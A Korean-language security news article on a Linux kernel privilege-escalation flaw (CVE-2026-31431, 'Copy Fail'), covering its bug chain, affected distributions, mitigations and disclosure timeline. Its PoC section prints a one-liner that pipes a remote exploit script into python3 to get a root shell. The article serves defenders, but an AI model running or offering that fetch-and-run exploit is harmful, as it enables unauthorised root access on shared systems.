732바이트로 모든 리눅스를 뚫다: 근 10년간 잠복한 역사급 취약점

🚨 역사급 취약점: 732바이트로 모든 리눅스를 무력화, 근 10년간 잠복
이름이“Copy Fail”인 리눅스 커널 취약점(CVE-2026-31431)이 공개 공시되었습니다:
- 732바이트짜리 Python 스크립트
- 100% 신뢰할 수 있으며, 경쟁 상태(race) 창이나 커널 오프셋이 필요 없음
- 모든 리눅스 배포판에 영향(2017년부터 현재까지)
- 컨테이너 탈출 프리미티브, 테넌트 간 공격 가능
- 근 10년간 잠복, 2026년 4월 29일에 공개될 때까지
동일한 스크립트가Ubuntu, RHEL, Amazon Linux, SUSE모두에서 수정 없이 작동합니다.
🎯 취약점의 핵심
단일 논리 결함
Copy Fail은직선형 논리 결함입니다:
- 경쟁 상태 창 불필요: 대부분의 리눅스 LPE와 달리 경쟁 상태가 필요하지 않음
- 커널 오프셋 불필요: 커널별 오프셋이 필요하지 않음
- 100% 신뢰성: 매번 성공
- 동일한 스크립트: 모든 배포판에서 작동
취약점 체인
Copy Fail의 공격 체인:
- authencesn 논리 오류: 하나의 논리 버그
- AF_ALG: 커널 crypto API를 통해
- splice(): 체인 호출
- 4바이트 page-cache 쓰기: 최종 공격 프리미티브
- 근 10년간 악용 가능: 2017년부터 패치 공개까지
📊 영향 범위
공식 검증된 배포판
| 배포판 | 커널 버전 | 상태 |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ 검증됨 |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ 검증됨 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ 검증됨 |
| SUSE 16 | 6.12.0-160000.9-default | ✅ 검증됨 |
기타 영향받는 배포판
다음 배포판들도동일하게 영향을 받습니다:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- 임베디드 Linux
결론: 커널이 2017년 이후 패치 이전에 빌드되었다면——영향을 받습니다.
💡 고위험 시나리오
| 시나리오 | 위험도 | 영향 |
|---|---|---|
| 멀티테넌트 리눅스 호스트 | 높음 | 어떤 사용자든 root로 승격 |
| Kubernetes / 컨테이너 클러스터 | 높음 | 컨테이너 간, 테넌트 간 공격 |
| CI Runner / Build Farm | 높음 | PR이 runner의 root로 실행 |
| Cloud SaaS 사용자 코드 실행 | 높음 | 테넌트가 host root로 승격 |
| 표준 리눅스 서버 | 중간 | 내부 LPE, 체인 공격 가능 |
| 단일 사용자 노트북 | 낮음 | 포스트 익스플로잇 권한 상승 단계 |
🔧 완화 조치
방안 1: 커널 업데이트(권장)
커널을mainline commit a664bf3d603d이 포함된 버전으로 업데이트하세요:
- 수정 내용: 2017년의 algif_aead in-place 최적화를 되돌림
- 효과: page-cache 페이지가 더 이상 쓰기 가능한 destination scatterlist에 나타나지 않음
- 상태: 대부분의 주요 배포판이 패치를 배포 완료
방안 2: algif_aead 모듈 비활성화(임시)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
algif_aead 비활성화의 영향
| 구성 요소 | 영향 |
|---|---|
| dm-crypt / LUKS | 영향 없음 |
| kTLS / IPsec | 영향 없음 |
| OpenSSL / SSH | 영향 없음 |
| AF_ALG 사용자 공간 | 영향 가능 |
결론: 대부분의 시스템에서 algif_aead를 비활성화해도뚜렷한 영향이 없습니다.
방안 3: seccomp로 AF_ALG 차단
신뢰할 수 없는 워크로드(컨테이너, 샌드박스, CI)의 경우 seccomp로 AF_ALG 소켓 생성을 차단하세요:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 PoC 데모
취약점 PoC가 공개되어 defender들이 시스템을 검증할 수 있습니다:
빠른 실행
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
PoC 세부 정보
- 파일 크기: 732바이트
- 언어: Python 3.10+ 표준 라이브러리만 사용(os, socket, zlib)
- 기본 타깃: /usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
경고: 스크립트는 setuid 바이너리의 page cache를 수정합니다. 변경 사항은 재부팅 후 유지되지 않지만 root shell은 실제입니다. 프로덕션 환경에서 실행하지 마세요.
📅 공개 타임라인
| 날짜 | 이벤트 |
|---|---|
| 2026-03-23 | 리눅스 커널 보안팀에 보고 |
| 2026-03-24 | 최초 확인 |
| 2026-03-25 | 패치 제안 및 검토 |
| 2026-04-01 | 패치가 mainline에 제출 |
| 2026-04-22 | CVE-2026-31431 할당 |
| 2026-04-29 | 공개 공시 |
🔍 발견자: Xint Code
취약점은Xint Code가 발견했습니다:
- 스캔 시간: 약 1시간 동안 리눅스 crypto/ 서브시스템 스캔
- 발견 방식: AI 기반 코드 감사
- 전체 분석: root cause, diagrams, operator prompt
- 기타 발견 사항: 동시에 다른 심각도 높은 취약점들도 발견되었으며, 아직 조율 공개가 진행 중
Xint Code의 실적
- 0-day RCE: ZeroDay Cloud, 데이터베이스 부문 석권(Redis, PostgreSQL, MariaDB)
- DARPA AIxCC Top 3: DARPA AI Cyber Challenge 결승 진출
- DEF CON CTF 9×: DEF CON CTF 역사상 최다 우승 팀
📝 요약
Copy Fail(CVE-2026-31431)은역사급 리눅스 커널 취약점입니다:
- 732바이트로 모든 리눅스를 무력화(2017년부터 현재까지)
- 100% 신뢰성, 단일 논리 결함
- 컨테이너 탈출, 테넌트 간 공격
- 근 10년간 잠복, 2026년 4월 29일에 공개
- 고위험 시나리오: 멀티테넌트 호스트, 컨테이너 클러스터, CI Runner, SaaS
- 완화: 커널 업데이트 또는 algif_aead 비활성화
- 발견자: Xint Code, AI 기반 코드 감사
근 10년 만의 역사급 취약점, 단 하나의 스크립트로 모든 리눅스를 무력화합니다.
취약점 공식 사이트:https://copy.fail
GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431
기술 분석:https://xint.io/blog/copy-fail-linux-distributions
커널 패치:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5